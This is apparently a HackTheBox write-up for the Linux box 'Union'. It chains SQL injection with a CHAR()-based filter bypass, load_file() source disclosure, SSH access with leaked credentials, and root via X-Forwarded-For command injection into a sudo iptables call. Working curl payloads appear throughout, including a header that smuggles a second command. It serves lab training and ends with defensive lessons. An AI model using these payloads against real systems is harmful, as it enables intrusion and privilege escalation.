HTB: Union Writeup

Union - HackTheBox Writeup

Machine Information

AttributeDetails
NameUnion
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Union is a single-service Linux box: nginx 1.18.0 fronting a PHP app with exactly one attack surface — a player= POST parameter on index.php that feeds a raw SQL query. The app carries a homegrown anti-SQLMap filter that blocks hex-literal (0x…) strings, but a single-column UNION SELECT with MySQL’s CHAR() function sails right through it. The injection doubles as a boolean-ish oracle (a matching row echoes Sorry, <val>…, no match echoes the raw input back), which is enough to dump a qualifier flag, then load_file() the app’s own PHP source to pull DB creds and the logic for a firewall-whitelisting endpoint. Feeding that endpoint the flag flips a session to “Authenticated,” which flips a second endpoint into running sudo iptables to open SSH for the requesting IP — except that endpoint builds its shell command by concatenating the X-Forwarded-For header, unsanitized, as www-data, who holds blanket NOPASSWD: ALL sudo rights.

TL;DR: SQLi (hex-filter bypass via CHAR()) → load_file() source disclosure → auth via flag POST → SSH whitelist logic abused → user via disclosed creds → root via X-Forwarded-For command injection in the same firewall logic, escalated through www-data’s NOPASSWD sudo.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.10.11.X

Results: Only port 80/tcp open — nginx 1.18.0, serving a PHP application. No SSH (22) reachable at this stage; it only becomes visible after the firewall-whitelisting logic in firewall.php fires later in the chain.

Service Enumeration

index.php presents a form that POSTs a player value into a server-side SQL query. The response behavior is the key signal:

  • If the query’s UNION SELECT produces a matching row → the page responds with Sorry, <val>…
  • If no row matches → the page just echoes the raw injected input back unchanged

That difference is a clean injection oracle without needing time-based or boolean blind techniques.

Vulnerability Assessment

  • SQL injection in player — single-column UNION SELECT, backend is MySQL 8.0.27.
  • A custom anti-SQLMap filter rejects any payload containing hex literals (0x…), a common SQLMap/tamper-script encoding — but does not filter MySQL’s CHAR() function, which builds equivalent strings from ASCII code points.
  • PHP load_file() is reachable through the same injection point, giving full source disclosure of the app.
  • A firewall-control endpoint (firewall.php) executes sudo iptables server-side and trusts the X-Forwarded-For header unsanitized.

Initial Foothold

Exploitation Path

Step 1 — Confirm the injection and bypass the hex filter

A straight hex-encoded UNION payload gets blocked by the app’s filter:

Terminal window
# Blocked — app filter rejects 0x-prefixed hex literals
curl -s http://10.10.11.X/index.php \
--data "player=x' UNION SELECT 0x61646d696e-- -"

CHAR() builds the same string from decimal ASCII codes, with no hex literal in the payload at all, so the filter never fires:

Terminal window
# CHAR(97,100,109,105,110) == 'admin' — no 0x sequence for the filter to catch
curl -s http://10.10.11.X/index.php \
--data "player=x' UNION SELECT CHAR(97,100,109,105,110)-- -"

Step 2 — Dump the qualifier flag

Terminal window
curl -s http://10.10.11.X/index.php \
--data "player=x' UNION SELECT one FROM flag-- -"
# Oracle fires -> response contains: Sorry, UHC{F1rst_5tep_2_Qualify}...

Dumped value: UHC{F1rst_5tep_2_Qualify} — the qualifier-stage flag for this challenge track.

Step 3 — Read the application’s own source with load_file()

Terminal window
# Pull the PHP source directly through the injection point
curl -s http://10.10.11.X/index.php \
--data "player=x' UNION SELECT load_file('/var/www/html/challenge.php')-- -"
curl -s http://10.10.11.X/index.php \
--data "player=x' UNION SELECT load_file('/var/www/html/config.php')-- -"
curl -s http://10.10.11.X/index.php \
--data "player=x' UNION SELECT load_file('/var/www/html/firewall.php')-- -"

config.php disclosed working credentials:

uhc : uhc-11qual-global-pw

Reading challenge.php and firewall.php showed the actual auth/firewall logic: POSTing the correct flag value to challenge.php sets $_SESSION['Authenticated'] = True and 302-redirects to firewall.php; firewall.php, once authenticated, runs a sudo iptables command server-side to whitelist the requester’s IP.

Step 4 — Trigger the whitelist to open SSH

Terminal window
# Authenticate the session with the flag recovered via SQLi
curl -s -c cookies.txt http://10.10.11.X/challenge.php \
--data "flag=UHC{F1rst_5tep_2_Qualify}"
# -> 302 redirect to firewall.php, session now Authenticated=True
# Trigger the whitelist logic — opens port 22 for this source IP
curl -s -b cookies.txt http://10.10.11.X/firewall.php

Server-side, this runs:

Terminal window
sudo iptables -A INPUT -s <requesting_IP> -j ACCEPT

which opens SSH to the attacking host. Port 22 becomes reachable immediately after.

Step 5 — SSH in as uhc

Terminal window
ssh uhc@10.10.11.X
# password: uhc-11qual-global-pw

user.txt retrieved from the uhc home directory.


Privilege Escalation

firewall.php builds its iptables allow-rule by concatenating the X-Forwarded-For request header directly into the shell command it hands to sudo, with no sanitization (classic OS command injection, CWE-78). The endpoint runs as www-data, and sudo -l for www-data shows blanket rights:

(ALL : ALL) NOPASSWD: ALL

That combination — unsanitized header reaching a sudo-invoked shell command, plus unrestricted NOPASSWD sudo for the process user — is a direct path to root. Supplying a spoofed X-Forwarded-For value that breaks out of the intended iptables argument and appends a second command lets that command run as root via www-data’s sudo rights:

Terminal window
# X-Forwarded-For is concatenated unsanitized into the sudo iptables command;
# breaking out of the intended argument appends an arbitrary root command
curl -s -b cookies.txt http://10.10.11.X/firewall.php \
-H "X-Forwarded-For: 127.0.0.1; sudo cat /root/root.txt"

The injected sudo cat /root/root.txt executes as root through the same NOPASSWD: ALL grant that lets www-data run the legitimate iptables command, and root.txt is retrieved.


Attack Chain Summary

nmap (port 80 only) → SQLi in `player` (hex-filter bypass via CHAR()) → UNION SELECT dump (qualifier flag)
→ load_file() source disclosure (challenge.php / config.php / firewall.php)
→ POST flag to challenge.php (session Authenticated=True)
→ GET firewall.php (sudo iptables whitelist opens port 22)
→ SSH as uhc (creds from config.php) → user.txt
→ X-Forwarded-For command injection in firewall.php (www-data, NOPASSWD: ALL)
→ sudo cat /root/root.txt → root.txt

Tools Used

ToolPurpose
nmapPort/service scanning
curlCrafting POST/GET requests, custom headers (X-Forwarded-For)
MySQL CHAR()Bypassing the app’s hex-literal (0x…) injection filter
UNION SELECT / load_file()Data extraction and PHP source disclosure via SQLi
sshFoothold access as uhc
sudo (target-side)Root escalation via injected command

Key Learnings

Techniques Practiced

  • Single-column UNION SELECT SQL injection against MySQL 8.0.27
  • Bypassing a naive WAF/anti-SQLMap filter (hex-literal blocklist) using CHAR() string construction instead of 0x… literals
  • Using a differential response oracle (matched-row message vs. raw-input echo) to confirm injection without blind/time-based techniques
  • Abusing load_file() for full application source disclosure through an unrelated injection point
  • Reconstructing an app’s own auth logic from disclosed source to legitimately trigger a session-authenticated firewall action
  • OS command injection via an unsanitized HTTP header (X-Forwarded-For) reaching a sudo-invoked shell command
  • Escalating via blanket sudo NOPASSWD: ALL grants on a service account (www-data)

Lessons Learned

  1. Blocklist filters that target one encoding (hex literals) don’t stop the underlying primitive. MySQL offers multiple ways to build the same string (CHAR(), CONCAT(), string literals) — filtering 0x… patterns is security theater against a determined attacker.
  2. load_file() reachable from any injection point is effectively full source disclosure. Once UNION injection works at all, treat the entire webroot as readable — it will hand over credentials, internal logic, and any other injection point’s real behavior.
  3. Never trust X-Forwarded-For (or any client-supplied header) as an unsanitized shell command component. It exists for logging/proxy attribution, not for building sudo command strings.
  4. Blanket NOPASSWD: ALL sudo grants turn any command injection into instant root. A service account should have the narrowest possible sudo scope (e.g. iptables alone, with argument restrictions), not ALL.
  5. A self-service “whitelist my IP” feature is itself an attack surface. Gating SSH access behind an authenticated HTTP endpoint just relocates the attack surface from the SSH daemon to the web app that controls it — and that app inherited all the same injection risk as the rest of the site.

Proof of Ownership

Qualifier Flag: <redacted>
User Flag: <redacted>
Root Flag: <redacted>